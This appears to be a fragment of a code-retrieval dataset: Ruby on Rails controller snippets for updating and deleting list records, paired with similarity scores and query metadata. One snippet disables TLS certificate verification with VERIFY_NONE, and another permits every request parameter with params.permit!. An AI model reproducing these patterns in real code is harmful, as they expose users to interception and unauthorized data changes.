"def update\n @list_record = ListRecord.find(params[:id])\n\n respond_to do |format|\n if @list_record.update_attributes(params[:list_record])\n format.html { redirect_to(@list_record, :notice => 'List record was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @list_record.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @action_list = ActionList.find(params[:id])\n\n respond_to do |format|\n if @action_list.update_attributes(params[:action_list])\n format.html { redirect_to(@action_list, :notice => 'ActionList was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @action_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @list_element.update(list_element_params)\n format.html { redirect_to @list_element, notice: 'List element was successfully updated.' }\n format.json { render :show, status: :ok, location: @list_element }\n else\n format.html { render :edit }\n format.json { render json: @list_element.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @chore_list = ChoreList.find(params[:id])\n\n respond_to do |format|\n if @chore_list.update_attributes(params[:chore_list])\n flash[:notice] = 'ChoreList was successfully updated.'\n format.html { redirect_to(@chore_list) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @chore_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n params.permit!\n @warehouse_supplier = WarehouseSupplier.find(params[:id])\n\n respond_to do |format|\n if @warehouse_supplier.update_attributes(params[:warehouse_supplier])\n format.html { redirect_to(@warehouse_supplier, :notice => 'Warehouse supplier was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @warehouse_supplier.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \t@list = current_user.lists.find params[:list_id]\n @item = @list.items.find(params[:id])\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to list_items_path(@list), notice: 'Item was successfully updated.' }\n #format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n #format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_list\n @list = @lists.find(params[:id])\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def update\n respond_to do |format|\n if @listed.update(listed_params)\n format.html { redirect_to session[:previous_url], notice: 'List item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @listed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def editList\n\t\t@list = List.find(params[:id])\n\tend",
"def update\n respond_to do |format|\n if @api_v1_shopping_list.update(api_v1_shopping_list_params)\n format.html { redirect_to @api_v1_shopping_list, notice: 'Shopping list was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_shopping_list }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_shopping_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @list= List.find(params[:id])\n if @list.update(list_params)\n \tflash[:notice] = \"List successfully updated!\"\n redirect_to list_path(@list)\n else\n render :edit\n flash[:alert] = \"ERROR :(\"\n end\n end",
"def update\n @watch_list = WatchList.find(params[:id])\n\n respond_to do |format|\n if @watch_list.update_attributes(params[:watch_list])\n format.html { redirect_to @watch_list, notice: 'Watch list was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @watch_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @karyalay_list.update(karyalay_list_params)\n result = { notice: 'Karyalay list was successfully updated.',\n status: true }\n else\n result = { errors: @karyalay_list.errors, status: :unprocessable_entity }\n end\n render json: result\n end",
"def update\n authorize! :update, @ml_list\n respond_to do |format|\n if @ml_list.update(ml_list_params)\n format.html { redirect_to @ml_list, notice: 'List was successfully updated.' }\n format.json { render :show, status: :ok, location: @ml_list }\n else\n format.html { render :edit }\n format.json { render json: @ml_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email_list = EmailList.find(params[:id])\n\n respond_to do |format|\n if @email_list.update_attributes(params[:email_list])\n format.html { redirect_to(@email_list, :notice => 'Email list was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @email_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n seller_listing = SellerListing.find(params[:id])\n\n respond_to do |format|\n if seller_listing.update_attributes(params[:seller_listing])\n format.html { redirect_to home_offer_3_path(seller_listing.id, :protocol => 'https') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => seller_listing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @list_items = args[:list_items] if args.key?(:list_items)\n end",
"def update_list(list_id:, name:)\n check_token\n list = Todoable::List.new(name: name)\n response = self.class.patch(\n \"/lists/#{list_id}\",\n body: list.post_body,\n headers: headers,\n format: :text\n )\n check_and_raise_errors(response)\n # This endpoint returns a plaintext body: \"<new name> updated\", so\n # while I'd like to return a List with ListItems, that would require\n # first looking up the list which isn't ideal. So we'll return true, ask\n # todoable to fix this endpoint, and make developers keep track of the\n # name change\n true\n end",
"def update\n respond_to do |format|\n if @bear_list.update(bear_list_params)\n format.html { redirect_to @bear_list, notice: 'Bear list was successfully updated.' }\n format.json { render :show, status: :ok, location: @bear_list }\n else\n format.html { render :edit }\n format.json { render json: @bear_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_list.update(item_list_params)\n format.html { redirect_to @item_list, notice: 'Item list was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_list }\n else\n format.html { render :edit }\n format.json { render json: @item_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @purchase_list.update(purchase_list_params)\n end",
"def update\n respond_to do |format|\n if @list_item.update(list_item_params)\n format.html { redirect_to @list, notice: 'List item was successfully updated.' }\n format.json { render :show, status: :ok, location: @list_item }\n else\n format.html { render :edit }\n format.json { render json: @list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @twitter_list = TwitterList.find(params[:id])\n\n respond_to do |format|\n if @twitter_list.update_attributes(params[:twitter_list])\n format.html { redirect_to @twitter_list, notice: 'Twitter list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @twitter_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end",
"def set_list\n @list = List.find(params[:id])\n end"
] |
[
"0.65312403",
"0.651661",
"0.6412526",
"0.6272228",
"0.62439203",
"0.62073153",
"0.61909777",
"0.61448526",
"0.6122082",
"0.61196214",
"0.6118115",
"0.61169535",
"0.61169535",
"0.6116812",
"0.61163366",
"0.61012685",
"0.6094728",
"0.60798913",
"0.6077888",
"0.6077559",
"0.6068144",
"0.6062607",
"0.6059247",
"0.60505515",
"0.6044072",
"0.6044072",
"0.6044072",
"0.6044072",
"0.6044072",
"0.6039666",
"0.60309476",
"0.60278773",
"0.602498",
"0.6024483",
"0.59857607",
"0.59857607",
"0.5985025",
"0.5982456",
"0.59620523",
"0.59557503",
"0.5946586",
"0.59321404",
"0.591565",
"0.5915308",
"0.58739394",
"0.58643425",
"0.5859079",
"0.58515745",
"0.58454883",
"0.5839444",
"0.5834309",
"0.5833098",
"0.5829772",
"0.582654",
"0.58233064",
"0.58176154",
"0.581506",
"0.58137405",
"0.57557446",
"0.57556546",
"0.5748459",
"0.5748459",
"0.5748459",
"0.5746059",
"0.5743139",
"0.5739771",
"0.5728091",
"0.5727165",
"0.57245785",
"0.5717157",
"0.57150227",
"0.5710304",
"0.5702531",
"0.5700307",
"0.5698786",
"0.56981367",
"0.5695762",
"0.5683453",
"0.5682818",
"0.5681119",
"0.56734455",
"0.565874",
"0.565713",
"0.56532276",
"0.56501645",
"0.56390053",
"0.5628425",
"0.5622005",
"0.5616593",
"0.560865",
"0.560865",
"0.560865",
"0.560865",
"0.560865",
"0.560865",
"0.560865",
"0.560865",
"0.560865",
"0.560865",
"0.560865"
] |
0.604637
|
24
|
DELETE /warehouse_lists/1 DELETE /warehouse_lists/1.xml
|
def destroy
@warehouse_list = WarehouseList.find(params[:id])
@warehouse_list.destroy if @warehouse_list
respond_to do |format|
format.js { respond_to_destroy(:ajax) }
format.html { respond_to_destroy(:html) }
format.xml { head :ok }
end
rescue ActiveRecord::RecordNotFound
respond_to_not_found(:html, :js, :xml)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_list(list_id)\n rest(\"delete\", \"lists/#{list_id}\")\n\n return true\n end",
"def destroy\n @mylist = Mylist.find(params[:id])\n @mylist.destroy\n\n respond_to do |format|\n format.html { redirect_to(mylists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @order_list = OrderList.find(params[:id])\n @order_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(order_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mailee_list = Mailee::List.find(params[:id])\n @mailee_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(mailee_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wish_list = WishList.find(params[:id])\n @wish_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_wish_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @warehouse_supplier = WarehouseSupplier.find(params[:id])\n @warehouse_supplier.destroy\n\n respond_to do |format|\n format.html { redirect_to(warehouse_suppliers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wellist.destroy\n\n head :no_content\n end",
"def destroy\n @checklist = Checklist.find(params[:id])\n @checklist.destroy\n\n respond_to do |format|\n format.html { redirect_to(checklists_url) }\n format.xml { head :ok }\n end\n end",
"def delete(list_id)\n Iterable.request(conf, \"/lists/#{list_id}\").delete\n end",
"def destroy\n @chore_list = ChoreList.find(params[:id])\n @chore_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(chore_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n listentries = List.find(:all,:conditions => \"list_cat_id = #{params[:id]}\")\n for listentry in listentries \n listentry.destroy\n end\n @list_cat = ListCat.find(params[:id])\n @list_cat.destroy\n\n respond_to do |format|\n format.html { redirect_to(:controller => 'lists') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @thing_list = ThingList.find(params[:id])\n @thing_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(thing_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @data_list = DataList.find(params[:id])\n @data_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fwlist = Fwlist.find(params[:id])\n @fwlist.destroy\n\t\n respond_to do |format|\n format.html { redirect_to fwlists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list_str_wk = ListStrWk.find(params[:id])\n @list_str_wk.destroy\n @cart_ef=find_cart_ef\n respond_to do |format|\n format.html { redirect_to(list_str_wks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @action_list = ActionList.find(params[:id])\n @action_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(action_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\t@list = List.find(params[:id])\n\t\t@list.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html\t{ redirect_to(root_url) }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend",
"def destroy\n @group_list = GroupList.find(params[:id])\n @group_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list_record = ListRecord.find(params[:id])\n @list_record.destroy\n\n respond_to do |format|\n format.html { redirect_to(list_records_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n # @list=List.find(params[:list_id])\n @list_item=@list.list_items.find(params[:id])\n @list_item.destroy\n respond_to do |format|\n format.html { redirect_to @list, notice: 'List item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list_item.destroy\n\n head :no_content\n end",
"def destroy\n @email_list = EmailList.find(params[:id])\n @email_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(email_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to management_lists_path }\n format.json { head :no_content }\n end\n end",
"def delete\n blacklight_items.each do |r|\n solr.delete_by_id r[\"id\"]\n solr.commit\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list = List.find(params[:id])\n @list.destroy\n\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @wordlist = Wordlist.find(params[:id])\n @wordlist.destroy\n\n respond_to do |format|\n format.html { redirect_to(wordlists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list = List.find(params[:id])\n @list.destroy\n\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list = List.find(params[:id])\n @list.destroy\n\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list = List.find(params[:id])\n @list.destroy\n\n respond_to do |format|\n format.html { redirect_to lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_list = ProductList.find(params[:id])\n @product_list.destroy\n\n respond_to do |format|\n format.html { redirect_back_or_default(product_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @shopping_list = ShoppingList.find(params[:id])\n @shopping_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(shopping_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list = List.find(params[:list_id])\n @list_item = @list.list_items.find(params[:id])\n @list_item.destroy\n\n if @list_item.destroy\n flash[:success] = \"Item deleted\"\n redirect_to list_path(@list)\n else\n flash[:error] = \"Item not deleted\"\n redirect_to list_path(@list)\n end\n end",
"def destroy\n @show_set_list = ShowSetList.find(params[:id])\n @show = @show_set_list.show\n @show_set_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(show_show_set_lists_url(@show)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list_of_value = Irm::ListOfValue.find(params[:id])\n @list_of_value.destroy\n\n respond_to do |format|\n format.html { redirect_to(list_of_values_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list_view = ListView.find(params[:id])\n @list_view.destroy\n\n respond_to do |format|\n format.html { redirect_to(list_views_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @book_list = BookList.find(params[:id])\n @book_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(book_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @warehouse = Warehouse.find(params[:id])\n if !@warehouse.has_stock_vouchers? && !@warehouse.has_inventory_vouchers? \n @warehouse.destroy\n flash[:success]=\"Warehouse deleted successfully.\"\n else\n flash[:error] = \"There are vouchers still relating to #{@warehouse.name}. Please delete them before deleting the warehouse.\"\n end\n respond_to do |format|\n format.html { redirect_to(settings_inventory_path) }\n format.xml { head :ok }\n end\n end",
"def delete_listing(listingid)\n $db.execute('DELETE FROM relation_user_stock_sale WHERE id=?', listingid)\n end",
"def destroy\n @attribute_list.destroy\n respond_to do |format|\n format.html { redirect_to attribute_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @assistance_list = AssistanceList.find(params[:id])\n @assistance_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(assistance_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @order_list = OrderList.find(params[:id])\n @order_list.orders.destroy_all\n @order_list.destroy\n\n respond_to do |format|\n format.html { redirect_to order_lists_url }\n end\n end",
"def delete_list(user, list)\n delete(\"/#{user}/lists/#{list}.json\")\n end",
"def destroy\n @list_id = @item.list.id\n @item.destroy\n @items = List.find(@list_id).items.order(\"id ASC\")\n end",
"def destroy\n @bulk_insert_list.destroy\n respond_to do |format|\n format.html { redirect_to bulk_insert_lists_url, notice: 'Bulk insert list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @warehouse.destroy\n respond_to do |format|\n format.html { redirect_to warehouses_url, notice: 'Warehouse was successfully deleted.' }\n # format.json { head :no_content }\n end\n end",
"def destroy\n @stocklist = Stocklist.find(params[:id])\n @stocklist.destroy\n\n respond_to do |format|\n format.html { redirect_to stocklists_url }\n format.json { head :ok }\n end\n end",
"def delete_list(id)\n record \"/todos/delete_list/#{id}\"\n end",
"def destroy\n @storeloc = Storeloc.find(params[:id])\n @storeloc.itemlocs.each do |loc|\n loc.destroy\n end\n\n @storeloc.destroy\n\n respond_to do |format|\n format.html { redirect_to(storelocs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n list = List.find(params[:list_id])\n list.destroy\n \n redirect_to '/liverpool/index'\n end",
"def destroy\n @army_list = ArmyList.find(params[:id])\n @army_list.destroy\n\n respond_to do |format|\n format.html { redirect_to :controller => :builder }\n format.xml { head :ok }\n end\n end",
"def delete_list(params={})\n @obj.delete('delete', @auth.merge(params))\n end",
"def destroy\n @set_list.destroy\n respond_to do |format|\n format.html { redirect_to set_lists_url, notice: 'Set list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to list_types_url, notice: \"Check ya later list.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @setlist.destroy\n respond_to do |format|\n format.html { redirect_to setlists_url, notice: \"Setlist was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wish_list_item = WishListItem.find(params[:id])\n @wish_list_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(wish_list_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wklysum = Wklysum.find(params[:id])\n @wklysum.destroy\n\n respond_to do |format|\n format.html { redirect_to(wklysums_url) }\n format.xml { head :ok }\n end\n end",
"def delete_list(id)\n query(\"DELETE FROM todos WHERE list_id = $1\", id)\n query(\"DELETE FROM lists WHERE id = $1\", id)\n end",
"def destroy\n @list = @project.lists.find(params[:id])\n @list.destroy\n\n respond_to do |format|\n format.html { redirect_to project_lists_url(@project) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @listing = Listing.find(params[:listing_id])\n # need to delete on current user for security\r\n current_user.read_listings.delete(@listing)\r\n \n respond_to do |format|\r\n format.xml { head :ok }\n end\n end",
"def delete\n\tStorecunsumption.find(params[:id]).destroy\n\tredirect_to :action => 'list'\n\tend",
"def destroy\n @list.destroy\n redirect_to lists_url, notice: 'List was successfully destroyed.'\n end",
"def destroy\n Clenum.destroy params[:ids].split(',')\n\n respond_to do |format|\n format.html { redirect_to(clenums_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \t@list = current_user.lists.find params[:list_id]\n @item = @list.items.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to list_items_path(@list), notice: 'Item was successfully removed.' }\n #format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: \"List was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wadl = Wadl.find(params[:id])\n @wadl.destroy\n\n respond_to do |format|\n format.html { redirect_to wadls_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @listitem.destroy\n head :no_content\nend",
"def destroy\n @check_list.destroy\n respond_to do |format|\n format.html { redirect_to check_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @price_list = PriceList.find(params[:id])\n @price_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(price_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mat_list = MatList.find(params[:id])\n @mat_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(mat_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to my_lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :delete, @ml_list\n @ml_list.destroy\n respond_to do |format|\n format.html { redirect_to ml_lists_url, notice: 'List was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'The List was destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @get_restaurant_list = GetRestaurantList.find(params[:id])\n @get_restaurant_list.destroy\n\n head :no_content\n end",
"def destroy\n @warehouse.destroy\n respond_to do |format|\n format.html { redirect_to warehouses_url, notice: 'Warehouse was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shelf = Shelf.find(params[:id])\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to(shelves_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @admin_store = Store.find(params[:id])\n @admin_store.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_stores_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @checklist = Checklist.find(params[:id])\n @checklist.destroy\n\n respond_to do |format|\n format.html { redirect_to checklists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @program_list= Programlist.find(params[:id])\n @program_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(programlists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @saved_list.destroy\n respond_to do |format|\n format.html { redirect_to saved_lists_url, notice: \"Saved list was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lb202556 = Lb202556.find(params[:id])\n @lb202556.destroy\n\n respond_to do |format|\n format.html { redirect_to(lb202556s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @check_list.destroy\n respond_to do |format|\n format.html { redirect_to check_lists_url, notice: 'Чек-лист успешно удален.' }\n format.json { head :no_content }\n end\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def destroy\n @list_item = ListItem.find(params[:id])\n @list_item.destroy\n\n respond_to do |format|\n format.html { render :nothing => true}\n format.json { head :no_content }\n end\n end",
"def destroy\n @list_item.destroy\n redirect_to list_items_url \n end",
"def destroy\n @apparel = Apparel.find(params[:id])\n @apparel.destroy\n\n respond_to do |format|\n format.html { redirect_to(apparels_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list.destroy\n respond_to do |format|\n format.html { redirect_to lists_url, notice: 'Funcionario deletado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def delete\n DB.exec(\"DELETE FROM stylists WHERE id = #{self.id};\")\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @locations_locationset = LocationsLocationset.find(params[:id])\n @locations_locationset.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_locationsets_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.6606977",
"0.6593074",
"0.65571195",
"0.6547252",
"0.65350497",
"0.6533649",
"0.6525709",
"0.64876723",
"0.6481481",
"0.64744043",
"0.64740044",
"0.64667594",
"0.64636606",
"0.6449062",
"0.64387345",
"0.6422095",
"0.64169186",
"0.6357732",
"0.634697",
"0.6319635",
"0.6314221",
"0.63006103",
"0.62968093",
"0.62907356",
"0.6274882",
"0.6274882",
"0.6274882",
"0.62575805",
"0.6256155",
"0.62453294",
"0.62453294",
"0.62453294",
"0.62393725",
"0.62368",
"0.6221753",
"0.6220275",
"0.6213421",
"0.6210967",
"0.6209246",
"0.6208171",
"0.6191876",
"0.61875415",
"0.61869943",
"0.6170599",
"0.6157729",
"0.6150967",
"0.61496896",
"0.61466485",
"0.61410683",
"0.6136587",
"0.6130924",
"0.6125218",
"0.61243683",
"0.6112016",
"0.6110438",
"0.61053103",
"0.61045516",
"0.61011666",
"0.6100771",
"0.60870934",
"0.6084362",
"0.6072842",
"0.60709286",
"0.6069788",
"0.6069773",
"0.60667384",
"0.60606116",
"0.60606116",
"0.60606116",
"0.60606116",
"0.60606116",
"0.60606116",
"0.60606116",
"0.60568804",
"0.6054808",
"0.605436",
"0.60540515",
"0.6051134",
"0.6048786",
"0.6047094",
"0.6043487",
"0.60379845",
"0.6035886",
"0.60332716",
"0.60299593",
"0.6025848",
"0.6024688",
"0.60217005",
"0.6020426",
"0.6009055",
"0.6004367",
"0.60004056",
"0.60002345",
"0.59928966",
"0.5982135",
"0.5981705",
"0.5979091",
"0.59761876",
"0.597612",
"0.59758955"
] |
0.624306
|
32
|
this is where parameters are taken when the command is called
|
def initialize(device_uuid, secret)
@device_uuid = device_uuid
@secret = secret
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def cmd; end",
"def command_builder; end",
"def command_name=(_arg0); end",
"def commands; end",
"def arguments; end",
"def arguments; end",
"def arguments; end",
"def command_start=(_arg0); end",
"def command_start=(_arg0); end",
"def command_start=(_arg0); end",
"def cmd(options={})\n arguments\n end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def cmdarg=(_arg0); end",
"def cmdarg=(_arg0); end",
"def cmdarg=(_arg0); end",
"def command_name; end",
"def initialize command, parameters = nil\n @command = command\n @parameters = parameters\n end",
"def set_commands; end",
"def cmd(*args) self.class.cmd(*args) end",
"def execute_command(command)\n end",
"def execute_command(command)\n end",
"def command_params\n params[:command]\n end",
"def command(name,aliases,desc,long_desc,arg_name,arg_options)\n abstract!\n end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def parameters; end",
"def execute(command)\n end",
"def command_raw(args)\n\n end",
"def call(*command); end",
"def args()\n #This is a stub, used for indexing\n end",
"def args(*) end",
"def commander _args\n \"commander _args;\" \n end",
"def execute\n end",
"def execute\n end",
"def execute; end",
"def execute; end",
"def original_run_command=(_arg0); end",
"def execute\n\n end",
"def assignedCommander _args\n \"assignedCommander _args;\" \n end",
